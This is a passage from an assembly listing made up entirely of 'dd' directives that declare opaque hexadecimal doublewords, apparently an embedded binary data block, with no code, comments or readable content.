44C147C8h, 28D55DCAh, 0FD801C33h dd 8519CA3Ch, 27864A0Ch, 4956192Eh, 0AC0E30F0h, 5E4098A5h dd 9E6387D5h, 0D188B305h, 0F40148E5h, 0FA11475h, 91CCAC30h dd 8BB40014h, 0F80A67CBh, 0C0366D0Eh, 9D97CAF9h, 0FA407703h dd 5094F06Eh, 0EC69CBE8h, 9F08581Dh, 3EA760B6h, 882CE298h dd 0E90BF0B3h, 11A49F63h, 44268001h, 10BD543h, 9E6D8041h dd 24A9A0DCh, 0A61FF974h, 0FC026AFEh, 0C04DFAD1h, 0E256F3F1h dd 3E49C0F6h, 85864B5Dh, 0F10097ECh, 0EE258D22h, 88B40AF3h dd 420AE360h, 982FCD47h, 339E080h, 8749Fh, 0B409F578h dd 0BBDD5842h, 2C52F900h, 6601027Ch, 3F6C90FBh, 0D00B6DDBh dd 0B81D5649h, 0E9819D91h, 0F417910Dh, 42395335h, 283A29A1h dd 721899D1h, 0A9E13802h, 0C00C9DBAh, 28828D94h, 7AC897BCh dd 81951E71h, 0D5F6C016h, 0B8444689h, 541CAC4Ah, 0C5E61D63h dd 28F12D51h, 0EE027538h, 9A2CF6AFh, 24BEE0ADh, 1266E063h dd 6B977EBh, 0C86BE8A4h, 0DC3B3B46h, 0C12D578Ah, 0E46F708Ch dd 27A7AF1Eh, 405C6C0Dh, 8C3A8808h, 2DFAE377h, 9F22C946h dd 0AFEB7000h, 77D0C7E4h, 222C24FCh, 0ABB60290h, 6C506B1Dh dd 1F94F417h, 1CDF4820h, 56DF88Bh, 4D458FCDh, 80B7C65Ah dd 9E645F49h, 75DDF342h, 10F83133h, 6F35E2Bh, 0E904754Ah dd 0BB097918h, 678E9D45h, 80114E98h, 731082C2h, 24E67750h dd 8FC0229h, 0A0BE0869h, 0EC5533EAh, 0C9F04139h, 0BCB0A011h dd 19EB5630h, 984AE3h, 12D26FCEh, 0EE269483h, 0F46D3A1Ch dd 0E5240265h, 0BBA70135h, 4AB87451h, 16F5F603h, 7851477h dd 988A2C79h, 88A85A9Ch, 34062378h, 1539EC58h, 0CCB303F3h dd 0DB84A700h, 0F73CF687h, 0BAA6D20Dh, 8C0229C1h, 0F3503065h dd 4375E712h, 2D00BCCBh, 0ACEDF358h, 1D6F407Dh, 89FEA9A0h dd 9F602093h, 46228Fh, 0A6A041B1h, 0AC100FBBh, 0D3A93901h dd 8775F46Fh, 39B58820h, 844C682Ch, 8C91FCh, 3E0414C8h dd 2C023F58h, 418D6933h, 3368182h, 69561C30h, 346DC170h dd 0B29C1AC0h, 0E248A3h, 11267D10h, 3D03B9A6h, 1E350415h dd 0BBEE1800h, 3B8AF12Ch, 6879D4EDh, 18C04E8h, 8A9ABCFEh dd 8063D501h, 24F72DF9h, 3E30CE20h, 454AA6FDh, 0DBD7B67Ch dd 298C8E6Ch, 0CD301870h, 4521C135h, 0E31C3A88h, 7CA791D0h dd 9F56DE3Fh, 0D8F4E318h, 0CBE044E6h, 60EC2DF4h, 0C06140C8h dd 75E3F354h, 0E0582358h, 1F35C29h, 0FEA0A62Ch, 0F175218Ah dd 2B40606Dh, 0BD424D00h, 0BF33AF2h, 508CA85Fh, 34E24BB0h dd 0F20CA2ACh, 60713024h, 0A6E65E0Ah, 85C2FCB0h, 0ED25003Fh dd 0BF2E024Ah, 300C50AEh, 1B0413Bh, 1594C5A1h, 80ADAFEAh dd 95D8AB99h, 0CBD98Ch, 0E6BE76BFh, 3816A04Dh, 946682h dd 0D337DC63h, 4336E389h, 30A13400h, 50957DEFh, 9CAE0B6Fh dd 28174C88h, 8C809C91h, 16F1157Bh, 5C5B0C1Eh, 0B22C2067h dd 7936F8B1h, 0A678008Fh, 907A706Bh, 0E0C4F79Dh, 564A3D32h dd 78C04088h, 9008FC6h, 0C8DC54D2h, 0BE5039h, 2DE9CDB3h dd 34FBD09Ah, 0D4E439CAh, 8B04B011h, 0C1901C82h, 0F90243D8h dd 0B81828D0h, 0A1008C26h, 0E8936D55h, 4FA0ADEDh, 23DC2FB1h dd 75C032Bh, 32890197h, 0F72434E9h, 0F4D6CC88h, 0EA09B047h dd 0CEE20EB4h, 0AA29DBB1h, 9FE4DCE5h, 62C80E60h, 0FC08174Fh dd 71E2C739h, 68D12D55h, 4071B260h, 98DC2Bh, 0FCF4D146h dd 0F903E6ABh, 0B80ADF34h, 2399AC82h, 71C02C7Ch, 86000B8Fh dd 0C6F4DB26h, 0AA1BE7h, 0F8215890h, 0A444AC35h, 9313E490h dd 0CC8BD792h, 4FC02588h, 407BCE8h, 0C9993C89h, 0B05CF0A8h dd 28C4188h, 3C7C0EF7h, 0B07A2C79h, 6848F624h, 0E4095C26h dd 0A4811A1h, 0C41CCCh dd 0AF2742B4h, 0ADD1A547h, 0CA09C000h, 0F3EF6638h, 31B6620Ah dd 4040E357h, 495DA285h, 28200104h, 89D1B8A7h, 349B8845h dd 0FD4434CEh, 0E024E6DDh, 13ED77F4h, 14389914h, 0D0D2881Ch dd 803A7828h, 25026E0h, 6492DCE0h, 2024384Ch, 0BF2D1796h dd 34B40458h, 658A051Bh, 523682Eh, 0BF22D403h, 60F19835h dd 0F07A3201h, 0F067E578h, 13600544h, 0F8057CB4h, 0AAA07AB3h dd 0F753C840h, 78BDCBh, 857D6061h, 0DE626FF8h, 6B742D13h dd 3A2AD891h, 90BE8310h, 0A54E6870h, 2B2DE840h, 0F0C86F40h dd 79FD6256h, 0A0606D60h, 971C7490h, 4602C64Fh, 40B9E304h dd 0C725FE6h, 0A76A2DDDh, 0E8000849h, 57ABFBEAh, 94D070DBh dd 2100DCC8h, 2F9C8814h, 0E3B881h, 0BABE4FE5h, 0AD4B6AB4h dd 17148C5Ch, 43E8891h, 0EA00FB23h, 453CA1DBh, 0D21D68E3h dd 0B05501F8h, 208B6999h, 19260208h, 0DE895412h, 0C02CCD47h dd 0E11F9CC9h, 0F30563E2h, 4F47CBBFh, 8274B481h, 298C5028h dd 9860D5A1h, 1D334F61h, 8E4D0087h, 3EBC9136h, 0FCED2A05h dd 0A02A03D3h, 54999C82h, 60189ED1h, 1E108E1Ch, 9AAA290Fh dd 0D1AC60E8h, 0F602808Dh, 5479B70Ch, 0F31198h, 2B2EC4B1h dd 0BD0DAB48h, 0BA9C2750h, 53D6411Fh, 0E8C87D14h, 621E8CF9h dd 7F8C0856h, 946D88F1h, 692C04F4h, 2368A276h, 785907EAh dd 0E24A0541h, 614CC144h, 0FBC3F378h, 1358E6EAh, 44C8693Ch dd 40AAAF9Ch, 71351957h, 887203FBh, 1C13FF5Eh, 0ED43F980h dd 29E338CEh, 0CD2C68FDh, 17B6802Eh, 7545700h, 0D8B93499h dd 0FCF600DFh, 6723CB3Bh, 0A12DB1D9h, 555405E1h, 8B4951C0h dd 2F3B5B8Dh, 3052318h, 61493896h, 6C07EBE9h, 957C80FCh dd 0E1BB3Fh, 78FD1471h, 0E6CC8D17h, 0AC20E541h, 45588C58h dd 30587DC8h, 3DFEE0FCh, 0EA60BCAh, 6E002D46h, 0F7E3F549h dd 0F6C87707h, 4BE4F08Bh, 0EF23BCF7h, 46785C07h, 0D0386205h dd 78640549h, 47A8A0F9h, 2703AAC4h, 0A7EE04Ch, 2A0BB82Bh dd 45049FBDh, 602AE474h, 1471A6C9h, 0DC11B10Ch, 99E80458h dd 8669008Ch, 0F7AB402Ch, 35E21483h, 1C9D5B00h, 0FC750C9Ch dd 60106120h, 226C2C65h, 0ACAF18E0h, 2D9049h, 0DB244B32h dd 0EB67C571h, 8156423Dh, 6570839h, 4E60A769h, 283C2443h dd 0A1A088E8h, 0D1E48C80h, 0D07412h, 21138F59h, 3CE1F90Dh dd 69E2E801h, 577601D7h, 0EBC4A4D2h, 42785860h, 4CD9CAE1h dd 78604D60h, 0ED35005Dh, 0CDAAEA63h, 6D0013F4h, 0CCB0BA29h dd 244A3B8Ah, 1E68BC02h, 0A2D20C5h, 11901DF6h, 0DE68005h dd 0A808F1Dh, 0B1C403A6h, 80BC24BAh, 0ABF6F847h, 0C09E963Ah dd 4D7C5002h, 758C811Ch, 1838A514h, 0C6643401h, 3CF245EBh dd 0B8384DB0h, 613F0ED1h, 11834FF3h, 0F2EC1F8Eh, 0A82F4AB0h dd 8C078C70h, 0A8F8983Ah, 431F6D81h, 40C3CC20h, 28B44BAAh dd 0A0465Ch, 0BF3C61FCh, 4CAA1901h, 508468EEh, 2B8602A0h dd 17B6073Bh, 18A35679h, 2C406DFEh, 213E67CEh, 0DFA4A1E2h dd 0A6908B7Ah, 0F3D468BDh, 80289437h, 2DFD7B35h, 0AC9ECBE4h dd 9B145379h, 0A56EC068h, 5CECAC9h, 62901DCh, 81449004h dd 47828AFCh, 0B69142FCh, 74D01A19h, 85DC16A1h, 0AA6448BEh dd 37CD5704h, 8E24C8h, 64AE404Bh, 0F31685E2h, 4800152h dd 8AC9B28Dh, 84DD8C0h, 22E201C0h, 0CFBE9793h, 6A918388h dd 0E104E01h, 87C730B8h, 60E39066h, 6471160Ch, 122B798Fh dd 79B9B2h, 5532982Ch, 0B40AA1B8h, 0A8EA11F3h, 5D25BA3Fh dd 3DFEC6Ch, 2DF12494h, 0A1768C6Ch, 1A743503h, 4BCCC8Eh dd 141FDDF9h, 2AB0F0A1h, 0CE4D4800h, 63AE4130h, 251491B0h dd 24915417h, 0AF2DB880h, 6409F6FEh, 8996305Ch, 0C418E776h dd 0E21F6006h, 0C0B500C7h, 0BBEF5B79h, 4C98CAE0h, 0D0CB78D3h dd 2787DA09h, 554418E6h, 8A191404h, 0DD00D816h, 0AA2CD177h dd 8E546AC5h, 3C3093F4h, 0A3D438E2h, 0DB1F03C4h, 30CDD270h dd 35E3511Ch, 0EF16D68Ah, 7C260603h, 0F872818Ah, 5DA1874h dd 682CB1CBh, 3BC412FFh, 9023CCh, 5349D252h, 3402C716h dd 3E212F4Ch, 5EFCD8E8h, 0E1084B36h, 0DEB02CA8h, 0B41E0C00h dd 0E6E8CF07h, 99BA258Ch, 0B840B842h, 0C89E08ADh, 64474C83h dd 0FBD80283h, 0CD78F337h, 9F80F45Ch, 1FA602D9h, 0F73004A9h dd 0E05744E0h, 5C017824h, 54D59DE5h, 0EC237CDEh, 64309DA2h dd 0E843FF37h, 7CCAE401h, 447F183Eh, 39407D88h, 988219B5h dd 0FC9CD07Ch, 78308A2Dh, 38CA1095h, 70179D4Ch, 1B819E11h dd 0CDAD9CACh, 0BC806844h, 41F8C27h, 0EDD40A9h, 0D4071052h dd 64F06944h, 0A8896D2Ch, 4E55578Ch, 0D49000DCh, 0B7C526A2h dd 2D1A125h, 2AAFF164h, 3DC097Ch, 3C04E289h, 0CDC80283h dd 2C593Ah, 0C24EBECCh, 891C9154h, 8039353Fh, 720530F4h dd 5EBF2EE4h, 23642F58h, 0A72B0005h, 0F11316F9h, 72297812h dd 7BDBA0B0h, 11E501A2h, 0B7F88BC4h, 0ED188218h, 7A2F863Ch dd 0FE553074h, 5042FD51h, 1F1CE901h, 300B09A7h, 2A9CAC4h dd 24E26BB9h, 0A8795803h, 9C1821F9h, 5F1DC205h, 85844EF7h dd 0E8810885h, 2A00166Ch, 875919BAh, 25B63800h, 6150897Eh dd 0F214511Ch, 309BF250h, 1D3D2506h, 320B8445h, 58D8864Ch dd 80E07971h, 970261F1h, 8D555AD6h, 5E3C5CE3h, 0C70E9F46h dd 0B9A043FCh, 0D07F903h, 7080229Dh, 45AD0190h, 186B3AD7h dd 9F290503h, 91F7352Eh, 20CFD1E1h, 58C6420h, 75E0F351h dd 0C5D0E25Bh, 0C2C0592Eh, 0EBF5F65h, 0A6BA77B3h, 6D84D056h dd 0CA00E3D6h, 0DE7A9370h, 496E0AF3h, 8B097C3Fh, 10CD22BBh dd 30802560h, 8712406Eh, 0F571E961h, 7874B91Ch, 7778012Ah dd 0A5B22CA7h, 0AD082086h, 5034A05Bh, 9EAC74A8h, 9162028Ch dd 0BD02F38Fh, 8D45E840h, 0D1DEE283h, 18207984h, 1D977E7Eh dd 847242E5h, 0B8D75E3Ch, 8C29B8E4h, 0A111DD05h, 4802975Dh dd 0AE18742Dh, 4619059Ch, 9286D4D2h, 0DC805ED0h, 1642D902h dd 54B5AA85h, 448427C0h, 0E258E2D7h, 66D83324h, 357254E8h dd 28CF5A00h, 0A6D0270Ah, 0D01E4ABBh, 5E29F500h, 0DD4E03E8h dd 20238C2Fh, 1331E600h, 4B8669Ch, 82AA8305h, 0DA14A01Ch dd 21FCC959h, 1893F9D9h, 182200B3h, 294ECA7Ch, 7CFF3F13h dd 10DC94B8h, 5877B19Ch, 3040185Ah, 5F8042Dh, 0F8F36224h dd 8C26BC00h, 0AF7EE80Fh, 438FC039h, 0B43A2102h, 0F4550A84h dd 9CFC80E0h, 4FC765EBh, 755D3C1Fh, 0E25F849h, 21DEE298h dd 243C767Bh, 4CF111F0h, 8C25E894h, 8661C901h, 32564357h dd 0CC1781A5h, 7C85F991h, 98E204h, 97FD0D73h, 4CACB1DDh dd 91BCAC22h, 2466008Ch, 0DB329DA8h, 7726D4CBh, 0DF8018B5h dd 0DA85835Fh, 421302B0h, 1F0E30CEh, 702A48Eh, 6C7936E9h dd 0FB192B79h, 0C9F7AFB8h, 9452A01Fh, 0C757DC1h, 8C382CFDh dd 85AC8209h, 0B1BC4805h, 6DF261F4h, 0B85274FCh, 0F63E7C9Ch dd 8C245AC2h, 83374D9h, 9E3020A2h, 66A3032Bh, 0FAED11C9h dd 97CA2E5h, 0D0A4FC77h, 0FD2528F4h, 82320D98h, 41208494h dd 2B333118h, 0AC40F411h, 120A012Dh, 8FC5F142h, 80F87019h dd 4A608D60h, 1DBDDF08h, 5AF90AF4h, 8402E8F5h, 7C58E30Bh dd 0B8E84C4Dh, 0FAFB123Ah, 96D40415h, 4C7C00F0h, 7122B17Dh dd 0B9A616F7h, 81F4D28Dh, 4E1E2920h, 0DC941C8Bh, 28DD0117h dd 2F4652B2h, 623B43Bh dd 434FBE00h, 0C3D5B934h, 9469A2B8h, 0C9A45025h, 782621E8h dd 444602E0h, 0FED1401Ch, 20F45753h, 0D5F40023h, 0DD78702Dh dd 0C70127FBh, 8513032Eh, 28285FB6h, 778C06BCh, 0DD2F2F8h dd 0C19ED3AEh, 0EC219460h, 0FDE310E0h, 0E33B35C5h, 309AB288h dd 0E701C3A4h, 0D5217FBAh, 68742D55h, 40CE5B57h, 7A17942Ch dd 68FAA69Ch, 75C742C0h, 9312E4h, 86F799D5h, 0A1B09DD0h dd 0FCB67D73h, 4C823302h, 7C704680h, 0A1888311h, 28C7B321h dd 7151B802h, 108081F0h, 0EF84F72Dh, 0B91FB4CEh, 2C8AF960h dd 240E06Ah, 0A00EDE01h, 9EDBE80h, 0F8A7E6C2h, 9704CFBh dd 6DB31C3Eh, 20CD8103h, 708D7CFBh, 8E828B78h, 5709E0E1h dd 37DE827h, 0CFC22271h, 2DE0486Dh, 8406DEBBh, 9F21990Eh dd 452B28C1h, 5EB094FCh, 6B049F46h, 0E9CB9121h, 6C660084h dd 7570C430h, 37360090h, 5C51F1C0h, 6498E708h, 71DCBC13h dd 270A8408h, 0B279A8C4h, 92B06600h, 0C049BEE6h, 43FF004Dh dd 30C5D003h, 840476CDh, 6E288A2Ah, 0DC429482h, 0D87105F8h dd 0E8E88765h, 7C43D8B2h, 16BD2CA4h, 5498E06Fh, 8A5BA542h dd 0C09EC8F4h, 942644A5h, 30F4770Dh, 421C02Fh, 12077CF1h dd 0BCD42B86h, 243ED89h, 0D6888A51h, 91AB1364h, 202BB718h dd 19D07A38h, 0B61960DCh, 0B61D99B0h, 0F58201B4h, 0F202682Dh dd 9EC40867h, 0C5F64460h, 82D5A418h, 3C19639h, 0E03480DBh dd 0AE2BB09h, 0A2318840h, 28290480h, 949C33D3h, 0C914DC38h dd 10C0100Dh, 850BF186h, 446FB7E8h, 5B1D1F40h, 0A443DD1h dd 417DD49Ch, 713A350Ch, 1282204h, 97414434h, 0B840DBCBh dd 4F96CF39h, 0C810CB4Ch, 7B6BC09Bh, 0F0143BBBh, 10FCDC47h dd 2A1E120Ch, 2801E582h, 0CCEB886Dh, 1CBC9B85h, 9E465Eh dd 44F7F402h, 5FFEEB3h, 0C54173E8h, 0C778DBB2h, 77E080BAh dd 71398EEh, 0A58B2DBEh, 1379C564h, 30F00484h, 72280F10h dd 28E66024h, 6A8BEE0h, 0BC5F6701h, 3822901h, 0BCF4AD02h dd 42736240h, 1616E6D9h, 4276C4Ah, 805D88B5h, 5748DAE0h dd 73CDC09h, 5804D34Ch, 72036094h, 8E84BCBBh, 0E220E098h dd 33B281FDh, 802F5FD8h, 0C1B69D10h, 0DDAE1667h, 12E46030h dd 280DCBFh, 0EF28F591h, 78E7F842h, 0CA6204C4h, 0D708A060h dd 4ABC049Bh, 2FC008DAh, 47E242A4h, 0C750609h, 4F582085h dd 2C4B3BEh, 87AC3065h, 0A07C7331h, 42B467Ch, 59BC42Ch dd 947214DDh, 703029B2h, 0F4C58DDh, 0BA8C5D02h, 0F07256B4h dd 0ABAE7501h, 0CE2807E0h, 2E3901CBh, 52EE3C17h, 0DCE3F99Bh dd 211DE9A8h, 0A14101F1h, 3087E70Fh, 0DCA448h, 5E54F64Dh dd 3BFD80DDh, 467C9CBCh, 2C160F29h, 0A7E4DCA3h, 48913h dd 5CACA9E3h, 8C9CBCh, 0C2916D56h, 3AE43E60h, 5C358628h dd 3342E324h, 48144B3Dh, 8C21E808h, 1280D600h, 0D896DCC1h dd 0C87D4E08h, 0FA0073E8h, 45FFF0A9h, 175771h, 0ED75CC3Bh dd 387720ECh, 54B795h, 0AD2697D6h, 67043E7h, 2B364105h dd 8484948Ah, 9C42988Bh, 0CC309EE2h, 9CA71CC8h, 454A5601h dd 88722CF0h, 0C32602B0h, 4C027C75h, 0FEC543E6h, 99465E90h dd 0A6286E01h, 0C823E17Fh, 90B7A885h, 0EB9A7Ch, 0DBCFA2C6h dd 1642204Fh, 9B9C8400h, 8C9747CDh, 168E7FF9h, 0C07069B7h dd 397508F4h, 0DFDEFC00h, 0BE024A0Fh, 129098D0h, 0A9FAAA01h dd 82305C50h, 0E0CA7435h, 0F0A2DB70h, 7812B76Ah, 9A5968D1h dd 29718C18h, 1C6E6300h, 0F009D3A9h, 3F7517DDh, 290608Fh dd 34D63F9h, 439CE8A0h, 7F8217B5h, 68B47805h, 2D3F84CAh dd 667C90h, 26C0D56Dh, 4BEF314Fh, 625CC9FFh, 24292284h dd 40E43486h, 9C81A116h, 64B5CB9h, 4FD14DA4h, 9C2850FFh dd 8C9CE8h, 0B891BAF8h, 427C6065h, 0F4F23B12h, 0E82CFC14h dd 0E7008CA0h, 0A1B639EBh, 0F9E34EB1h, 0A0A28423h, 2A19DB30h dd 94F156h, 0AE64EF70h, 0A005A26Dh, 0A4C4DA04h, 0A4E83579h dd 2C9CE80h, 0F1025467h, 0B49C30FFh, 0EADCC094h, 0B2BE80FAh dd 9B270C01h, 7E2B551Ch, 0C2BD1478h, 2881E30h, 5A718952h dd 0DCDCBE20h, 1920CC1Dh, 31EC3ACAh, 74433ED5h, 0BBBE9CE5h dd 97048AFBh, 82FA113Ch, 0E09BE5B1h, 909E58D0h, 30BA972Ch dd 9F591C71h, 1001B818h, 0A758E50Fh, 5C58F0ACh, 896800C3h dd 3C2CE27h, 0C9B88B75h, 9CFC8124h, 323113B8h, 0B7D76CF0h dd 9211FC1Dh, 2B48CB80h, 8701790Ch, 0F4750DAEh, 6C4533D4h dd 2E1F20F2h, 0A070C0C7h, 0BF8A5345h, 7A01DD71h, 76571B8Ch dd 0BAC03104h, 6EB05A63h, 1DFD3FF8h, 0DE418480h, 0C1CFC77h dd 0A2548897h, 0A4CA5BF4h, 13C099C8h, 26FF5DCh, 4C1FFC58h dd 1CC12AE7h, 473C0068h, 3EED0164h, 1D2C5557h, 0DE20C6AFh dd 0E891CA8Ch, 51431BF4h, 848205Eh, 1098D098h, 8B923F48h dd 0C006C844h, 0A6D840F0h, 149D4472h, 0C458A544h, 0B8236005h dd 931202FBh, 2016A1Bh, 8154A157h, 3A0521BAh, 942318h dd 0CEDE5A12h, 340BC14Bh, 5941BD3h, 0E4E0D0C4h, 0DDDB5EE3h dd 88880B18h, 0C0EC004h, 623A0305h, 0A355A575h, 0A4B08A90h dd 0E092D505h, 0C1C0AF34h, 0D1BE59B7h, 11E0074Dh, 855847EAh dd 2F98ADA1h, 564C11C7h, 5D991117h, 0FC443FA0h, 3CA3088Ah dd 0AE3021B2h, 0AC46180Bh, 2B1C6039h, 0AA6D450Bh, 853060B5h dd 0C5E44A82h, 3120E92Ch, 1C75F943h, 3202E46Dh, 8ADB2A82h dd 2D651CD2h, 0F080DD69h, 78D5DFF3h, 8808B43Ah, 7402FD96h dd 86E24E69h, 95218880h, 75ED3087h, 5DC7EFCCh, 79E471CBh dd 1351827h, 0F82241ACh, 0D080FC40h, 3CACF017h, 880C1F9Fh dd 7360B69Fh, 98FB54C8h, 0BE011070h, 0FC5C5009h, 1CF4904Ah dd 6A6D0B40h, 74093CB7h, 0B414CC05h, 0DB2503F4h, 60244DD0h dd 15D28239h, 6BF820B8h, 45E85C82h, 0F848A81Eh, 0B64392h dd 7E3212DBh, 18FA0874h, 4186D5F3h, 6300F80Bh, 99F0A7B9h dd 0B5068C4h, 2BA25F98h, 0B2B4A082h, 93D930D1h, 0B700E918h dd 0BBA27F25h, 2FE5A74Bh, 0E8906618h, 3B002ED4h, 1B9149B8h dd 0B40743ADh, 0A1465EDCh, 7C509F0Dh, 0C0CC6026h, 0D50CECBCh dd 5FE74995h, 7C6EB5h, 2EA2FCB1h, 0E2AE9DF8h, 0DC649C45h dd 6FA7A100h, 0C8DD8231h, 33CD3039h, 3D366D21h, 0F8E76700h dd 561A2454h, 0DF92D73h, 0A8F950E2h, 31182279h, 5B33AD00h dd 0C05EDBCBh, 0A67D093Ch, 901FB58Eh, 12809411h, 4533B23Ah dd 541CF103h, 0E02B6C06h, 4BAEF54Ah, 0AA508401h, 1734C023h dd 0FBD659AEh, 0E38F1F1Ch, 0BE4AE254h, 0DC0CF6D3h, 0E254CE02h dd 0F90A5C6Eh, 0A1803F68h, 9CEAF89Dh, 9701DA51h, 0FEF3658Bh dd 107BA9C2h, 0DB0534E4h, 0FC2744A5h, 0BD2680ECh, 7BB6328h dd 3CDE6C07h, 8EA96502h, 0C0078880h, 0DC8F4EAAh, 3C021C0Bh dd 0A69CD169h, 0C700DE7Ch, 0DF7A76F9h, 2DA2CEF3h, 0EC667D4Bh dd 0D0F47716h, 7C0518C2h, 0F8467478h, 4485B31h, 30086D1Bh dd 38CA6120h, 0F6A471F7h, 5D5926A9h, 92467408h, 0AC6E1300h dd 0DD75CCA0h, 44D40726h, 0F2A50E40h, 0AF611D8Bh, 148A80F8h dd 0CD98F497h, 0B79B2D00h, 864D0156h, 0EE083432h, 0BC34B8B8h dd 4E038C25h, 0FC2E4C73h, 3FF120DEh, 348A2C17h, 0FF68CC58h dd 5E80B466h, 0B00FA46h, 7CA70206h, 201281DFh, 0F4F6FAB2h dd 40D66D01h, 21708CFEh, 88344EA0h, 6CC0CEF9h, 0E184A757h dd 693CB19Fh, 280096D5h dd 0E84856F5h, 8C9DE83Ch, 0DC0BE0FCh, 82AADBD4h, 8291B880h dd 51DF1790h, 189D7988h, 43190928h, 3003FAFFh, 50026C24h dd 4EF82D44h, 91FC5E31h, 0B8E06548h, 75EC88h, 812D1D7Fh dd 338843F0h, 14649D00h, 0C04D48B8h, 0EBEA005Fh, 0ECABDC06h dd 0DD00E46Ch, 7067E027h, 1F590804h, 0C60755EAh, 1006EFD2h dd 1C610B0Ah, 7D08B645h, 70833EEh, 2D73208Eh, 78E61C00h dd 773CF104h, 51140398h, 5074AFAAh, 76BEF7C0h, 5971C503h dd 0AD441h, 0B826EB38h, 0D5904BADh, 87F00E0Ch, 0C023089Dh dd 0ADB04D21h, 0D7DA22Ah, 33C87500h, 4EE02004h, 15F006ACh dd 0A8EC64DDh, 5ECC5474h, 0A11EEh, 73B3CA47h, 6B5D2B48h dd 1083066h, 3F2D0021h, 13F778CAh, 753EBEBFh, 0E7EE03E5h dd 0C05F2EEFh, 0F86862EAh, 7484A8F2h, 0F69A0094h, 0AD840D14h dd 0AF560756h, 1C650294h, 1C7B7549h, 1C5D3107h, 55E0ECD1h dd 0F0C15E47h, 0F9AB06FAh, 48F41E95h, 175472ECh, 16013180h dd 5F2F20ACh, 498034D3h, 3395C8AAh, 19249229h, 7C210255h dd 0B105B626h, 7C223873h, 562F07h, 0DC46B3B6h, 19006954h dd 647C5CACh, 63EDBC77h, 0FC42E0F1h, 80803138h, 0FB4F1662h dd 7E17C46h, 6BEF4ADAh, 6965106Eh, 0E328CA77h, 0A94688C2h dd 431C5F02h, 3314B75h, 1C572B10h, 0C92CC38h, 39F8D3B9h dd 28360390h, 39E25596h, 57A3BC98h, 8CB30706h, 0A0160Eh dd 5976EC10h, 34D96FE2h, 77017890h, 3CEAC2C7h, 74245BEFh dd 0AF430079h, 1036E260h, 2E66DA0Bh, 217308h, 7AAF3B9Ah dd 7E6FD80Fh, 6D315A03h, 14F819C4h, 84F22968h, 21B1683Fh dd 500FD4B9h, 0FA41BBD0h, 720260E8h, 0E3849F4h, 0E9204870h dd 65C80F71h, 2F52F212h, 0F1A237Ch, 0DAFC06ACh, 708450F9h dd 0CA4B605Dh, 687323B7h, 0B831443Fh, 0F6110116h, 0E73C41CDh dd 769C302Ah, 6C1CA118h, 28EE0598h, 4630F04Fh, 0CA49025Bh dd 1C5873B5h, 0CA412F0Eh, 0DB730087h, 2B70F95h, 0A975BD02h dd 96005CE8h, 0A8F37068h, 1EC5FAECh, 0D34C3C50h, 0BC140FB8h dd 6B40E2Ah, 29FBD3B7h, 0DBC3BA00h, 826A771Eh, 5C1B03B5h dd 39A6E341h, 528C0CCh, 811873B9h, 67686ED4h, 40EA2BC3h dd 0AF4701FCh, 1856E264h, 3F9E8874h, 7990AF1Fh, 0F1E97A83h dd 0F6828F29h, 0F388A00Fh, 0C05E04A1h, 0D9DA6C60h, 3090CD31h dd 42023B46h, 2EE25FAFh, 99583494h, 2FC60001h, 7C1B0CE1h dd 0F0C01855h, 3920215Eh, 3FE63D02h, 4816D45Bh, 1FC82300h dd 0C00AB3F6h, 305780C0h, 0BB01E84Ch, 941D6985h, 9C401112h dd 3ADEA968h, 507CBF65h, 8C42848Ah, 66AF490Eh, 768851E2h dd 0AF41A080h, 1369869h, 875BF94Ah, 304DBE1Bh, 76FE3EE0h dd 8688A914h, 0EE8F0584h, 9005F137h, 0D840FDD3h, 723EB514h dd 7CECE350h, 25EEEF8h, 7146BAB6h, 34C0F9DCh, 0C57352DAh dd 0B0D5873Ch, 0E3A804Fh, 700D4C2Ch, 20897306h, 91056862h dd 0BD7E41Ah, 0D806884Ch, 45048C3Eh, 46E262AFh, 0F84AEC8Eh dd 18A391Fh, 368E7144h, 6C62568Fh, 0C33008F2h, 1D0E00F3h dd 6916A0C1h, 8C2679DBh, 3CAB445Eh, 509189D0h, 781FA7FEh dd 504BEAE3h, 0A07A8411h, 2C2BA094h, 0E573Ch, 74186D1Dh dd 0B10461CBh, 56BDFB7Ah, 2C82FCC4h, 0ADB6303Fh, 0C5904911h dd 4B802088h, 179ADAEh, 0B69E0026h, 0E26B946Ch, 0E52C9ACDh dd 424D052h, 44674h, 0AA27D897h, 255788Fh, 0CC98DE94h dd 0CCC75F32h, 0B2600544h, 0E20743D2h, 682E931Fh, 0C4886B15h dd 75C32AF4h, 0D8DA00C0h, 602FAC84h, 0E62C903Ch, 498398B7h dd 235DC76Fh, 44015680h, 3073B0CAh, 2A880218h, 5ECA003Ch dd 3A1E42C0h, 0D5473FAh, 480087A0h, 0C6906740h, 4DE8A175h dd 0A9027471h, 5C8DFB3Ch, 75BFF4A0h, 8A0316E6h, 0D358AA50h dd 68578844h, 0EA69C76Dh, 0C8DA607Bh, 0C35C014Eh, 33FEEDBCh dd 94512BF0h, 12DA7901h, 3529A77Ch, 12ED8860h, 26F395C3h dd 0B0466054h, 4A1C6602h, 84338375h, 1C5E3240h, 9C26EB99h dd 1880D48Ah, 8530158Eh, 0FA891D77h, 7670ECECh, 71002146h dd 18DE7CE3h, 3481210h, 0A814397Ch, 4722E43Eh, 0DAEB120Dh dd 23B42FC2h, 0B0AE3D6Eh, 43DE82ECh, 48472F02h, 33630264h dd 54D3DF88h, 4A9740Ah, 0EF0BFC8Ah, 4110A396h, 597800EBh dd 10F46D47h, 0BCA917CBh, 445C483Dh, 0E261AF08h, 416FC43Eh dd 23AF3C9Bh, 4473C9C1h, 85D70C1h, 83E85E59h, 0BAA477E6h dd 9FE40017h, 18900C21h, 58656D7Bh, 749BC3C9h, 4CB03081h dd 429DE4E5h, 0DBE45F50h, 218F258h, 0DE16C7F5h, 50ACA093h dd 0F6F79ABh, 3766A96Dh, 6EE0F2CCh, 2E074421h, 18FF5628h dd 814E0F49h, 1BE01156h, 55D06AB9h, 0EE786818h, 0F8F97649h dd 77D29D3h, 1808F1A4h, 95D2F85Ch, 0B9242240h, 8CB38605h dd 0FC0AC8B8h, 0E4838C5Ah, 21FF4CE1h, 0AC914570h, 461C6280h dd 448C6375h, 5A002E04h, 7521B31Ch, 79F5CCBCh, 0E003508Bh dd 35A71064h, 4D404218h, 882B979Ch, 8A0B6E23h, 0EC8082F4h dd 0F6930068h, 2F4A197Bh, 323443Ah, 0AAFCAD07h, 0D55FEF41h dd 2E825040h, 8AB801B3h, 60F6BDDh, 6D188357h, 0A10B7717h dd 2C2CC5E5h, 8C08BCh, 773EC50Eh, 58913696h, 0C6529504h dd 30C00156h, 8011D016h, 0CA06E248h, 8A70F95Ch, 40D1EB99h dd 0B7026836h, 0CD904AADh, 